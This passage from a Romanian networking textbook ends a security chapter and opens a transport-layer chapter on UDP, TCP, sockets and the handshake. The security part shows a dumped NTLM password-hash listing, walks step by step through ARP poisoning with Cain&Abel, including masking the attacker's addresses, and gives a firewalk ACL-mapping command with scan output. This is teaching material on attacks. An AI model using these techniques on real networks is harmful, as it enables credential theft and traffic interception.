>> help // OUTPUT OMIS PENTRU BREVITATE
>> hashdump // DUMP NTLM HASH
Administrator:500:81fc70764e28d07e17306d272a9441bb:1588a8ad682c772251524a40766e9918:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:5890ebd067d1edf9d64624dfdc26c511:5f1756c53701b2d0aa8391848d58914a:::
stormy:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0
:1002:aad3b435b51404eeaad3b435b51404ee:25c43e16e9e62c3f615ee824ab5fd083:::
10.4 Studii de caz
10.4.1 ARP Poisoning
Unul dintre cele mai ntlnite i populare atacuri ntr-o reea comutat l reprezint atacul
ARP Poisoning. Switchul limiteaz mult capacitatea atacatorilor de a obine informaii din
traficul intern al reelei cu ajutorul unui packet sniffer. Totui, prin ARP poisoning se poate
intercepta traficul dintre oricare dou calculatoare, chiar i ntr-o reea ce folosete switchuri.
Dup cum sugereaz i numele, acest atac este format din dou pri: prima parte const n
manipularea tabelelor ARP a staiilor int, fiind urmat apoi de rutarea traficului ctre
374 | R e e l e L o c a l e

destinaia corect. Dac acest lucru nu se ntmpl, este produs un atac DoS ntre cele dou
staii victim (man-in-the-end).
ARP poisoning este procesul prin care staiile afectate dintr-o reea comutat vor ajunge
s posede intrri eronate n tabela ARP. Mai exact, n locul corespondenelor fireti ntre
diversele adrese IP i adresele MAC ale celorlalte staii din aceeai reea, o staie supus unui
atac bazat pe ARP poisoning va avea n tabela ARP doar asocieri ntre adrese IP ale staiilor din
aceeai reea local i o singur adres MAC n general cea a staiei ce a iniiat atacul.
n cele ce urmeaz se va descrie pas cu pas iniierea unui astfel de atac, ntr-o reea cu 3
staii, folosind utilitarul Cain&Abel (http://www.oxid.it/cain.html). Se dorete
interceptarea traficului dintre staiile A1 i A2 de ctre staia A3 (atacatorul).


10-4: Topologia reelei
nainte de iniierea efectiv a acestui atac, trebuie configurai anumii parametri ce vor
ajuta n descoperirea staiilor din reea i n deciderea asupra cror staii se va lansa atacul.
Pentru aceasta, primul pas l reprezint pornirea sniffer-ului i alegerea plcii de reea pe care
se va ncepe captura de pachete.

10-5: Alegerea plcii de reea i pornirea sniffer-ului
Dup pornirea sniffer-ului, urmtorul pas l reprezint descoperirea staiilor din reea.
Pentru ca pachetele capturate s poat fi rutate ctre destinaia corect, trebuie s
A1
10.1.1.2
A2
10.1.1.3
A3
10.1.1.4
375 | S e c u r i t a t e a r e e l e i

cunoatem asocierile IP-MAC ale staiilor din reea, atacul fiind imposibil fr acestea. Acest
lucru se realizeaz prin click dreapta i alegerea opiunii Scan MAC Addresses.


10-6: Scanarea reelei
n urma scanrii reelei se descoper staiile 10.1.1.1 (default gateway), 10.1.1.2 (A1),
10.1.1.3 (A2), ct i adresele MAC corespunztoare fiecreia dintre ele.


10-7: Rezultatul scanrii reelei
n figura de mai jos, pentru selectarea staiilor victim se va alege din bara de jos tab-ul
APR i apoi butonul + din bara de sus.
376 | R e e l e L o c a l e


10-8: Alegerea staiilor victim
nelesul seleciei de mai sus este urmtorul: traficul este interceptat ntre staia ce are
adresa IP 10.1.1.2 i staia ce are adresa IP 10.1.1.3, n ambele direcii. n acest moment
dispunem de toate informaiile necesare iniierii atacului i de un utilitar foarte puternic, ce va
lansa atacul prin simpla apsare a butonului APR.

10-9: Lansarea atacului
Se observ n figura de mai sus contorizarea pachetelor ce trec prin staia atacatorului
precum i direcia n care ele sunt rutate. n cazul n care, pachetele nu sunt rutate ctre
destinaia corect, numerele din coloana Packets nu sunt egale, putndu-se crea astfel un
atac DoS pentru staiile victim, dar care este uor detectabil. Se poate ntmpla ca, n unele
cazuri, atacul s se ncheie cu succes doar pentru una din staii (atacul nu reuete pentru o
staie ce are definite intrri ARP statice). n acest caz, se va observa numrul pachetelor rutate
crescnd doar ntr-o singur direcie, sniffer-ul prelucrnd doar jumtate din traficul ateptat.
377 | S e c u r i t a t e a r e e l e i

Dat fiind faptul ca intrrile ntr-o tabel ARP expir, se pune problema dac faza iniial de
inundare cu pachete fictive trebuie repetat continuu. Rspunsul nu este chiar att de uor de
dat pentru c, dei soluia inundrii continue a reelei cu pachete fictive asigur funcionarea
staiei atacator ca proxy transparent, poate totui crea un overhead semnificativ, numrul de
pachete fictive trimise variind cu ptratul numrului de staii active.
Implicit, Cain trimite pachete ARP false la fiecare 30 de secunde, timp ce poate fi
configurat din meniul Configure. Tot de aici, se pot schimba adresele IP surs i MAC surs,
n scopul ascunderii identitii atacatorului.

10-10: Parametrii de configurare
10.4.2 Firewalking
Firewalking reprezint o metod de identificare a regulilor listelor de acces configurate pe
un firewall care protejeaz o reea int. Tehnica folosita reprezint o dezvoltare a
algoritmului de traceroute i se bazeaz pe o analiz a pachetelor IP pentru a determina
daca acestea pot ajunge la sistemul int prin firewall.
Dup ce un router decide interfaa de ieire a unui pachet, acesta decrementeaz valoarea
cmpului TTL (Time To Live) din antetul IP al pachetului; dac noua valoare este mai mic sau
egal cu zero, routerul va renuna la trimiterea pachetului i va transmite napoi ctre sistemul
surs un pachet ICMP de tip 11 TTL Expired in transit. Acest lucru i comunic sursei la ce
router a expirat pachetul. Bazndu-se pe acest comportament i pe ipoteza c nu exist
echipamente care s filtreze traficul ICMP pe drum, traceroute trimite pachete consecutive
ctre destinaie incrementnd valoarea cmpului TTL care pornete iniial de la unu.
Firewalk este programul care implementeaz tehnicile menionate anterior pentru a
identifica protocoalele i serviciile permise printr-un firewall. Pentru a porni scanarea,
atacatorul are nevoie de urmtoarele informaii:
adresa IP a firewall-ului ce va fi scanat (packet filter);
adresa IP din spatele firewall-ului pentru a verifica regulile ctre aceasta (destination host).
378 | R e e l e L o c a l e

ATACATOR
STATIE
DESTINATIE
Retea
Protejata
FIREWALL
INTERNET

10-11: O infrastructur cu firewall
Firewalk funcioneaz trimind pachete TCP sau UDP pe porturile specificate de atacator
cu o valoare TTL cu unu mai mare dect a firewall-ului care este scanat. Astfel, dac
echipamentul de filtrare permite traficul, va transmite pachetul ctre destinaie unde acesta
va expira trimind napoi un mesaj de tip TTL Expired in transit. Dac firewall-ul nu permite
traficul, atunci pachetul este aruncat i atacatorul fie nu va primi napoi niciun rspuns (cel mai
adesea), fie va primi un rspuns ICMP tip 3 cod 13 (Destination Unreachable Communication
Administratively Prohibited). Trimind un numr de probe ctre adresele IP i porturile
interesante din spatele firewall-ului, i analiznd rspunsurile, un atacator poate obine o
hart a ACL-urilor definite.
Firewalk 5.0 [gateway ACL scanner]
Usage : firewalk [options] target_gateway metric
[-d 0 - 65535] destination port to use (ramping phase)
[-h] program help
[-i device] interface
[-n] do not resolve IP addresses into hostnames
[-p TCP | UDP] firewalk protocol
[-r] strict RFC adherence
[-S x - y, z] port range to scan
[-s 0 - 65535] source port
[-T 1 - 1000] packet read timeout in ms
[-t 1 - 25] IP time to live
[-v] program version
[-x 1 - 8] expire vector
Maparea regulilor cu firewalk are dou faze:
Descoperirea reelei. Supranumit n jargon i ramping up hopcounts, aceast etap are
scopul calculrii numrului de hopuri pn la firewall. Metodologia este identic cu cea
amintit anterior pentru traceroute. Cnd acest numr este obinut, se poate trece n faza doi,
iar scanarea este acum bound.
Scanarea propriu-zis. Acesta etap implic trimiterea pachetelor ctre destinaie pe
porturile TCP/UDP interesante pentru atacator i activarea unor cronometre pentru fiecare
pachet. Dac un rspuns nu este primit pan la expirarea timpului, se consider c portul este
nchis de ctre firewall.
Exemplu de scanare cu firewalk:
firewalk -n -p TCP -S20-25,80,443 80.86.16.183 80.86.200.240
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through 80.86.16.183 using 80.86.200.240 as a metric.
Ramping Phase:
1 (TTL 1): expired [192.168.128.1]
2 (TTL 2): expired [194.116.200.65]
3 (TTL 3): expired [86.55.4.169]
379 | S e c u r i t a t e a r e e l e i

4 (TTL 4): expired [193.19.194.202]
5 (TTL 5): expired [80.86.15.130]
6 (TTL 6): expired [80.86.16.183]
Binding host reached.
Scan bound at 7 hops.
Scanning Phase:
port 20: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240]
port 21: *no response*
port 22: A! open (port listen) [80.86.200.240]
port 23: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240]
port 24: *no response*
port 25: A! open (port not listen) [80.86.200.240]
port 80: A! unknown (unreach ICMP_UNREACH_FILTER_PROHIB) [80.86.200.240]
port 443: A! open (port not listen) [80.86.200.240]

Scan completed successfully.

Total packets sent: 14
Total packet errors: 0
Total packets caught 13
Total packets caught of interest 12
Total ports scanned 8
Total ports open: 3
Total ports unknown: 3



380 | R e e l e L o c a l e

11 Protocoale de nivel transport
The number of things that we count as free today that used to cost money (such as TCP/IP) are
quite significant.
Cameron Purdy
Ce se nva din acest capitol?
Care este rolul nivelului Transport
Care este diferena dintre UDP i TCP
Care este principiul de funcionare a TCP
Cum se realizeaz controlul fluxului la TCP
Cine este...
Robert Kahn este coautor, mpreun cu Vint Cerf, al protocoalelor TCP i IP care au
devenit protocoalele fundamentale n Internet. Proiectarea celor dou protocoale a avut n
vedere folosirea a dou niveluri n care TCP se ocup cu serviciile de asigurare a
conectivitii i a controlului fluxului. n prezent este preedintele CNRI (Corporation for
National Research Initiatives).
11.1 Noiuni generale
Nivelul transport, al patrulea nivel din stiva de protocoale OSI, rspunde cererilor sosite de
la nivelul sesiune i transmite cereri nivelului reea.
Nivelul transport este responsabil cu asigurarea transparenei transferului ntre dou
sisteme. Rolul su este, de obicei, recuperarea n caz de eroare i controlul fluxului, asigurnd
un transfer de date complet. Aceste roluri sunt ndeplinite prin folosirea protocolului orientat
pe conexiune, Transmission Control Protocol (TCP). Protocolul User Datagram Protocol
(UDP), care funcioneaz pe baz de datagrame, las aceste roluri pe seama aplicaiei.
Nivelul transport transform serviciile de baz i nesigure ale nivelului retea n servicii
mult mai puternice. Exist o suit de servicii care pot fi furnizate (opional) la acest nivel.
Niciunul din ele nu este obligatoriu, ntruct nu toate aplicaiile doresc ca toate aceste servicii
s fie utilizate. Cteva din servicii sunt:
orientat conexiune: ntruct aplicaiile lucreaz mult mai uor cu servicii orientate conexiune,
iar nivelul reea nu ofer dect servicii fr conexiune, un astfel de serviciu este adesea utilizat;
controlul fluxului: deoarece memoria unui sistem este limitat, lipsa controlului fluxului ar
duce la congestionarea traficului iar sistemul nu ar putea reine suficient de mult informaie
pentru a o prelucra;
multiplexarea prin porturi: porturile reprezint mecanismul de baz prin care se pot adresa
mai multe entiti n cadrul aceleiai locaii (aceluiai sistem); aplicaiile de reea vor asculta
fiecare pe un port propriu primirea de informaii, motiv pentru care mai multe aplicaii pot rula
simultan.
n cadrul Internet-ului exist mai multe protocoale la nivelul transport, dar cele mai
utilizate sunt TCP i UDP. TCP este un protocol complex, furniznd un serviciu orientat pe
conexiune, controlul fluxului, porturi multiple, transmiterea datelor n ordine. UDP este un
serviciu simplu care lucreaz cu datagrame, furniznd doar multiplexarea prin porturi. Alte
protocoale sunt Datagram Congestion Control Protocol (DCCP) i Stream Control Transmission
Protocol (SCTP).
381 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.2 UDP
11.2.1 Caracteristici UDP
UDP (User Datagram Protocol)
1
este un protocol de nivel transport construit special
pentru a oferi un serviciu de comunicare ct mai simplu peste IP.
Cteva caracteristici ale UDP-ului sunt:
este un serviciu de tip datagram: cererile de trimitere de date primite de la nivelul superior
sunt tratate independent;
comunicarea are loc fr stabilirea unei legturi (connectionless): nu exist mecanisme de
stabilire i terminare a unei conexiuni; toate datele sunt trimise n cadrul unui singur pachet IP,
care eventual va fi supus fragmentrii;
nu se garanteaz faptul c datele vor ajunge la destinaie (best effort): ajungerea la destinaie a
datelor nu este anunat sursei;
datele transportate sunt protejate de o sum de control (caracteristic opional iniial dar
trecut ca necesar (must)
2
);
ncrcarea suplimentar (overhead-ul) introdus este minim: doar 8 octei.
Cteva utilizri tipice ale UDP-ului sunt n:
servicii de rezolvare a numelor (DNS): ntrebrile i rspunsurile scurte pot fi mai eficient
implementate peste UDP;
fluxuri multimedia: mecanismele complicate de control al fluxului ale TCP-ului ar deprecia
interactivitatea;
server de fiiere (NFS): acest tip de aplicaii sunt n general rulate n reele locale cu
performane ridicate care nu necesit mecanismele TCP;
BitTorrent;
managementul reelei (SNMP);
protocoale de rutare (RIP).
11.2.2 Formatul datagramelor UDP
Datagramele UDP sunt formate dintr-un antet urmat de datele care se doresc transmise
(dac exist).

11-1: Structura unei datagrame UDP
Antetul cuprinde:
port surs - 16 bii; mpreun cu adresa IP a sursei, acest numr identific n mod unic
expeditorul datagramei UDP;
port destinaie - 16 bii; mpreun cu adresa IP a destinaiei, acest numr identific n mod unic
destinaia dorit pentru datagrama UDP;

1
http://tools.ietf.org/html/rfc768
2
http://tools.ietf.org/html/rfc1122
382 | R e e l e L o c a l e

lungimea datagramei UDP - 16 bii; Lungimea considerdatagrama UDP cu tot cu antet i prin
urmare are o valoare minim de 8 octei.
sum de control - 16 bii; Suma de control acoper ntreaga datagram UDP ct i un pseudo-
antet de 12 octei format din:
o adresa IP a sursei - 32 bii;
o adresa IP a destinaiei - 32 bii;
o 8 bii de zero pentru aliniere;
o numrul protocolului UDP (17) reprezentat pe 8 bii;
o lungimea datagramei UDP - 16 bii.
Suma de control este calculat ca numrul de cuvinte de 16 bii incluse n pachet. Fiind
numr multiplu de 16 bii, la sfritul datelor se adaug un numr potrivit de bii de zero. Dac
suma este 0 atunci ea va fi stocat ca 65535 (toi biii pe 1). Un 0 n cmpul sumei de control
indic faptul c suma de control nu a fost calculat. Observaie: chiar dac un client are inhibat
(n mod explicit) calculul sumei de control, el este obligat s verifice suma pachetelor care
sosesc i au suma calculat.
Porturi
Cmpul asociat porturilor are 16 bii, deci valorile posibile sunt cuprinse ntre 0 i 65535.
Portul 0 este rezervat, dar este un port surs permis dac procesul transmitor nu ateapt
mesaje de rspuns.
Porturile cuprinse ntre 1 i 1023 sunt porturi rezervate (aa zisele known ports); pe un
sistem Unix folosirea unuia din aceste porturi necesit drepturi privilegiate (drepturi de root).
Porturile cuprinse ntre 1024 i 49151 sunt porturile nregistrate (folosite de Kazaa, Java
RMI Registry, servere SQL, etc.).
Porturile cuprinse ntre 49152 i 65535 sunt porturi efemere i sunt utilizate ca porturi
temporare, de obicei de ctre clienii care comunic cu serverele.
11.3 TCP
11.3.1 Caracteristici TCP
Deoarece protocolul IP este de tip datagram, utilizarea lui direct n aplicaii, care n
general au nevoie de conexiuni sigure, este mult prea anevoioas. Din aceste motive peste IP a
fost construit un alt protocol, TCP (Transmission Control Protocol), care corecteaz aceste
probleme. TCP
1
devine astfel, alturi de IP, protocolul de baz utilizat n Internet. Cele dou
protocoale sunt reprezentative pentru stiva de protocoale de facto ce guverneaz
funcionarea Internet-ului.
Alturi de UDP, TCP se situeaz pe nivelul transport n ierarhia de protocoale, deci ntre
nivelul aplicaie i nivelul reea. Cu toate c se bazeaz pe acelai protocol (IP) ca i UDP, TCP
furnizeaz ctre nivelul aplicaie cu totul alt tip de servicii: servicii orientate-conexiune, sigure,
de tip flux de octei.
Termenul orientat-conexiune presupune c ntre cele dou aplicaii care comunic
utiliznd TCP trebuie s se stabileasc o conexiune nainte ca transferul de date s aib loc.
Aceast conexiune nu este una fizic ci virtual. Tipul de conexiune este asemntor cu
sistemul de telefonie clasic: o persoan formeaz un numr i abia n momentul n care
cealalt persoan rspunde se poate ncepe conversaia. Fiind o conexiune punct la punct, nu
exist noiunile de broadcast sau multicast.
Transferul sigur de date este asigurat n urmtorul mod:

1
http://tools.ietf.org/html/rfc1122; http://tools.ietf.org/html/rfc793
383 | P r o t o c o a l e d e n i v e l t r a n s p o r t

Datele sunt mprite n fragmente a cror dimensiune optim e determinat de TCP, spre
deosebire de UDP care trimite datagrame UDP corespunztoare cu dimensiunea datelor
primite de la nivelul aplicaie. Unitatea de date trimis de TCP ctre nivelul reea poart
numele de segment.
Cnd TCP trimite un segment pornete un timer i, dac nu se primete confirmarea
segmentului respectiv ntr-un anumit timp, l retransmite.
n momentul n care se primete un segment, TCP trimite o confirmare (din motive de eficien
aceasta poate fi amnat un anumit interval de timp).
n headerul TCP este meninut o sum de control pentru detectarea modificrilor n date.
Dac se recepioneaz un segment corupt, TCP l ignor urmnd s fie retransmis datorit
neprimirii confirmrii.
Deoarece segmentele TCP sunt transmise mai departe ncapsulate n datagrame IP, acestea pot
ajunge n alt ordine dect cea n care au fost trimise. Acest lucru se ntmpl din cauz c
protocolul IP lucreaz cu pachete de date, fr a garanta transmiterea acestora n ordine. Din
acest motiv, la destinaie, TCP folosete numere de secven pentru a reordona segmentele
nainte de a le livra ctre nivelul aplicaie. De asemenea, TCP asigur ignorarea duplicatelor.
TCP asigur controlul fluxului n condiiile n care viteza de trimitere a datelor la surs poate fi
mult mai mare dect capacitatea de prelucrare la destinaie.
Serviciul oferit de TCP este de tip flux de octei deoarece ofer garanii c fluxul de date
trimis de surs va fi livrat fr modificri la destinaie. Comparativ, UDP produce pentru
fiecare transfer cerut de nivelul aplicaie un pachet IP (care ulterior poate fi supus
fragmentrii) care, dac ajunge la destinaie corect (cu suma de control valid), va fi livrat
direct nivelului aplicaie fr a garanta n vreun fel ordinea.
TCP suport cea mai mare parte din apliciile cele mai populare ale Internet-ului, incluznd
World Wide Web, E-mail, Secure Shell, etc. La nceputul secolului 21, TCP este folosit
preponderent n pachetele care circul n Internet. Larga sa rspndire este dovada viziunii de
excepie pe care proiectanii protocolului au avut-o la nceputul anilor `80.
11.3.2 Formatul segmentelor TCP
Pachetele de date transmise de TCP, segmentele, sunt formate dintr-un antet de 20 de
octei urmat de datele primite de la nivelul aplicaie. Antetul poate uneori conine i o serie de
opiuni, caz n care poate ajunge la 60 octei.
Antetul unui segment TCP cuprinde:
port surs - 16 bii pentru specificarea portului aplicaiei transmitoare.
port destinaie - 16 bii pentru specificarea portului aplicaiei ce recepioneaz segmentul TCP.
numr de secven - 32 bii identifica pozitia curenta a primului octet din segment n cadrul
intregului flux de comunicaie TCP; dupa ce se atinge valoarea 2
32
-1, se revine la 0.
confirmare - 32 bii identifica urmatorul octet de date pe care transimatorul il asteapta de la
receptor; astfel, acest numar va fi cu 1 mai mare decat cel asociat celui mai recent receptionat
octet de date.
lungimea antetului - 4 bii specific dimensiunea antetului ca numr de cuvinte de 32 de bii
(4 octei); antetul poate avea ntre 20 i 60 de octei, deci valoarea acestui cmp va fi ntre 5 (5
x 4 = 20 octei) i 15 (15 x 4 = 60).
6 bii rezervai pentru utilizri viitoare
6 bii de control reprezentnd urmtoarele flag-uri ce pot fi setate simultan:

384 | R e e l e L o c a l e


11-2: Structura unui segment TCP
Urgent Pointer (URG) - cmpul urgent pointer este valid
Acknowledgement (ACK) - cmpul de confirmare (numar secventa confirmat) este valid
Push Function (PSH) - destinaia trebuie s trimit datele ctre nivelul aplicaie ct mai
devreme
Reset the Connection (RST) - se dorete resetarea conexiunii; se transmite receptorului c
transmitorul anuleaz conexiunea, astfel nct informaiile i buffer-ele alocate pot fi
eliberate
Synchronize (SYN) transmitorul ncearc sincronizarea numerelor de secven; este
folosit la stabilirea unei conexiuni ntre un transmitor i un receptor
No More Data from Sender (FIN) - nchiderea conexiunii: receptorul este anunat c
transmitorul a ajuns la sfritul fluxului de octei din conexiunea TCP curent
dimensiunea ferestrei - 16 bii reprezint numrul de octei (ncepnd cu numrul de
secven coninut n cmpul de confirmare) pe care destinaia e dispus s-l primeasc; este
limitat la 65535 octei dar, cu toate c pare o limit destul de mare, exist situaii cnd se
doresc valori mult mai mari
suma de control - 16 bii aceast sum de control acoper ntregul segment TCP (att datele,
ct i antetul TCP) i, spre deosebire de UDP, este obligatoriu s fie completat de transmitor
i verificat de receptor.
urgent pointer - 16 bii este utilizat pentru specificarea deplasamentului ultimului octet de
date trimis n regim urgent.
opiuni - pn la 40 de octei furnizeaz o serie de parametri pentru o funcionalitate special
11.3.3 Conexiunea i comunicaia TCP
Dupa cum se poate observa din cmpurile antetului, protocolul TCP este un protocol
complex. O dovad este numrul mare de RFC-uri care se refer la acest protocol. Pentru o
mai uoar i mai bun nelegere a acestuia, urmtoarele seciuni vor prezenta
funcionalitatea protocolului n paralel cu interfaa de programare cu sockei Berkeley,
devenit interfaa universal de programare a aplicaiilor de reea.
385 | P r o t o c o a l e d e n i v e l t r a n s p o r t

11.3.3.1 Interfaa socket
Ca i abstractizare, un socket este interfaa pe care sistemul de operare o pune la
dispoziia aplicaiei pentru ca aceasta s poat comunica prin intermediul reelei cu o alt
aplicaie de pe un alt sistem. Un socket identific n mod unic un capt (endpoint) dintr-o
conexiune. Protocolul TCP funcioneaz n regim client-server. Socketul client i socketul server
formeaz o conexiune. Din acest punct de vedere un socket poate fi considerat un tuplu:
<protocol nivel 3, adresa nivel 3, protocol nivel 4, adresa nivel 4>
O conexiune este o pereche format din doi sockei: <socket client, socket server>.
n marea majoritate a cazurilor, protocolul de nivel 3 este IP, iar adresa 3 este o adres IP
pe 32 de bii. Protocolul de nivel 4 poate fi UDP sau TCP, iar adresa de nivel 4 este portul
asociat conexiunii.
Interfaa de programare impune dou apeluri pentru crearea unui socket: apelul socket i
apelul bind. Un exemplu de creare a unui socket este:
int s;
struct sockaddr_in addr;

s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);

bind (s, (struct sockaddr *) &addr, sizeof (addr));
Apelul socket specific protocolul de nivel 3 (IP PF_INET) i protocolul de nivel 4 (TCP
IPPROTO_TCP). Apelul bind specific celelalte dou componente ale tuplului ce definete un
socket: adresa IP i portul TCP (se regsesc n cmpurile structurii addr).
nc de la apariia TCP i a interfeei socket, modelul de comunicaie utilizat a fost modelul
client-server. n cadrul acestui model, un sistem creeaz un socket i ateapt iniierea unei
conexiuni de pe un alt sistem; socketul se cheam socket n starea listening i este specific
serverului, iar sistemul care iniiaz conexiunea este clientul.
Cei doi socketi (socketul client i socketul server) se creeaz conform modelului de mai sus.
n continuare, socketul server este plasat n starea listening, iar socketul client va iniia
conexiunea. Pentru server, se utilizeaz apelurile listen i accept, iar pentru client apelul
connect, ca mai jos:
/* server */
listen (server_sock, 10);

new_sock = accept (server_sock, &cli_addr, &cli_addr_len);

/* client */
connect (client_sock, &serv_addr, &serv_addr_len);
Faptul c un server socket se gsete n starea listening poate fi observat cu ajutorul
comenzii netstat (NETwork STATistics):
# netstat --tcp --listening --numeric
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:16114 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:985 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
Adresa 0.0.0.0 indic faptul c socketul n cauz ascult pe toate interfeele sistemului;
este echivalentul macrodefiniiei INADDR_ANY pus la dispoziie de interfaa de programare
cu sockei.
386 | R e e l e L o c a l e

Toate etapele prezentate pn n acest moment au nsemnat crearea unor structuri n
cadrul sistemului de operare pregtitoare pentru iniierea unui conexiuni TCP. Plasarea unui
socket n starea listening din partea serverului este o cerere pasiv de conectare (passive
open). Protocolul TCP intr n aciune n momentul n care clientul iniiaz conexiunea ctre
server prin intermediul apelului connect.
11.3.3.2 Iniierea unei conexiuni TCP
Folosirea apelului connect din cadrul aplicaiei client conduce la iniierea unei conexiuni
TCP ntre client i server, numit cerere activ de conexiune (active open). Modul de
transmisie pentru TCP este full-duplex, existnd dou canale de comunicaie (cte unul pentru
fiecare direcie). Acest lucru nseamn, c dup iniierea conexiunii, att serverul ct i clientul
au rol dual: transmitor i receptor; vor trebui iniiate dou sesiuni de comunicare: client-
server i server-client. Protocolul de iniiere poart numele de three-way handshake i este
prezentat n figura de mai jos:

11-3: Stabilirea unei conexiuni TCP
Cei trei pai ai protocolului sunt dup cum urmeaz:
1. Cererea activ este realizat prin transmiterea unui segment cu flag-ul SYN activat.
2. Serverul rspunde prin transmiterea unui segment cu flag-urile SYN i ACK activate.
3. Clientul transmite un segment cu flag-ul ACK activat.
n acest moment, att serverul ct i clientul au primit confirmarea stabilirii conexiunii.
Rolul flag-ului SYN, dupa cum i spune i numele, este acela de sincronizarea a numerelor
de secven ntre transmitor i receptor. Un exemplu mai detaliat al unei iniieri de
conexiune TCP este urmtorul:
Clientul transmite un segment de sincronizare (flag-ul SYN activat) pentru iniierea unei
conexiuni. Orice segment SYN conine i un numr de secven. Se consider c numrul de
secven este x.
Serverul primete segmentul, reine numrul de secven x transmis de client i rspunde cu
un segment n care sunt activate flag-urile SYN i ACK. Flag-ul ACK valideaz prezena
numrului de confirmare. Numrul de confirmare este urmtorul numr de secven pe care
server se ateapt s-l primeasc de la client, adic x+1. Serverul folosete flag-ul SYN pentru a
387 | P r o t o c o a l e d e n i v e l t r a n s p o r t

iniia o sesiune de rspuns, astfel nct segmentul TCP conine propriul numr de secven cu
valoarea y.
Clientul rspunde cu urmtorul numr de secven (x+1) i un numr de confirmare (y+1), care
este numrui de secven al serverului incrementat cu 1. Clientul se ateapt ca numrul de
secven urmtor trimis de server s fie y+1.
Folosind utilitarul tcpdump se pot urmri pachetele folosite n cadrul protocolului de
iniiere. Mai jos este prezentat monitorizarea unor astfel de pachete:
IP 127.0.0.1.36583 > 127.0.0.1.3456: S 2248547107:2248547107(0) win 5840 <mss
1460,sackOK,timestamp 13245384 0,nop,wscale 2>
IP 127.0.0.1.3456 > 127.0.0.1.36583: S 2238475525:2238475525(0) ack 2248547108 win 5792
<mss 1460,sackOK,timestamp 13245384 13245384,nop,wscale 2>
IP 127.0.0.1.36583 > 127.0.0.1.3456: . ack 2238475526 win 1460 <nop,nop,timestamp
13245384 13245384>
n exemplul de mai sus, att serverul ct i clientul ruleaz pe acelai sistem (localhost
127.0.0.1). Serverul ascult conexiuni pe portul 3456, iar clientul iniiaz conexiunea de pe
portul 36583. Cele 3 segmente corespund celor 3 pai ai protocolului de iniiere:
n cadrul primului segment, transmis de client serverului, flag-ul SYN este activat (prezena
simbolului S semnific prezena flag-ului SYN). Numrul de secven este 2248547107.
Serverul rspunde clientului cu flag-urile SYN i ACK activate (prezena simbolului ack
semnific prezena flag-ului ACK). Numrul de secven pentru sesiunea de rspuns iniiat de
server este 2238475525; prezena flag-ului ACK valideaz numrul de confirmare, care este
2248547108 (2248547107 + 1), adic tocmai numrul de secven din segmentul transmis de
client incrementat.
Clientul rspunde cu un segment cu flag-ul ACK activat. Numrul de confirmare este, conform
ateptrilor, 2238475526 (2238475525 + 1).
Numerele de secven utilizate pentru stabilirea celor dou sesiuni sunt numere generate
aleator.
Exist, ns, i scenarii n care protocolul de comunicaie poate eua. Astfel, unele cereri de
conexiune pot fi respinse, sau pot fi pierdute pe drum, sau pot fi filtrate. Daca se ncearc
conectarea pe un port inexistent, sistemul de operare va reseta conexiunea prin utilizarea
flag-ului RST. n exemplul de mai jos, clientul ncearc conectarea pe un astfel de port:
IP 127.0.0.1.43550 > 127.0.0.1.3456: S 3689144420:3689144420(0) win 32767 <mss
16396,sackOK,timestamp 3271474 0,nop,wscale 2>
IP 127.0.0.1.3456 > 127.0.0.1.43550: R 0:0(0) ack 3689144421 win 0
Clientul ncearc s se conecteze pe portul 3458 i trimite segmentul de iniiere conexiune
(cu flag-ul SYN activat). ntruct portul 3458 nu este folosit de niciun socket n starea listening,
sistemul de operare transmite un segment cu flag-ul RST activat (prezena simbolului R
semnific prezena flag-ului RST). Segmentul de rspuns conine, de asemenea, flag-ul ACK
activat i numrul de confirmare ateptat.
Un alt scenariu este acela n care pachetele de iniiere de conexiune sunt filtrate fr
transmiterea unui pachet de resetare a conexiunii sau sunt pierdute. n aceast situaie,
clientul va ncerca periodic deschiderea unei conexiuni prin retransmiterea pachetului de
iniiere de conexiune. Mai jos sunt prezentate cteva din pachetele transmise de client:
IP 127.0.0.1.41706 > 127.0.0.1.3456: S 691948505:691948505(0) win 32767 <mss
16396,sackOK,timestamp 4495701 0,nop,wscale 2>
IP 127.0.0.1.41706 > 127.0.0.1.3456: S 691948505:691948505(0) win 32767 <mss
16396,sackOK,timestamp 4498701 0,nop,wscale 2>
IP 127.0.0.1.41706 > 127.0.0.1.3456: S 691948505:691948505(0) win 32767 <mss
16396,sackOK,timestamp 4504701 0,nop,wscale 2>
IP 127.0.0.1.41706 > 127.0.0.1.3456: S 691948505:691948505(0) win 32767 <mss
16396,sackOK,timestamp 4516701 0,nop,wscale 2>
IP 127.0.0.1.41706 > 127.0.0.1.3456: S 691948505:691948505(0) win 32767 <mss
16396,sackOK,timestamp 4540701 0,nop,wscale 2>
Se observ c segmentele transmise sunt identice din punct de vedere al coninutului.
Singura diferen este dat de timpii de retransmisie (indicai de simbolul timestamp) care
388 | R e e l e L o c a l e

cresc exponenial (exponential backoff), caracteristic pentru orice retransmisie a unui
segment TCP.
La fel se poate ntmpla dac segmentul de rspuns (segmentul 2 din protocolul de iniiere
a conexiunii) este filtrat. Serverul va retransmite periodic segmentul coninnd flag-urile SYN
i ACK activate.
Un firewall prezent ntre client i server poate filtra segmentele de iniiere de conexiune.
Acesta va putea respinge segmentele prin transmiterea unui pachet ICMP tipic (Destination
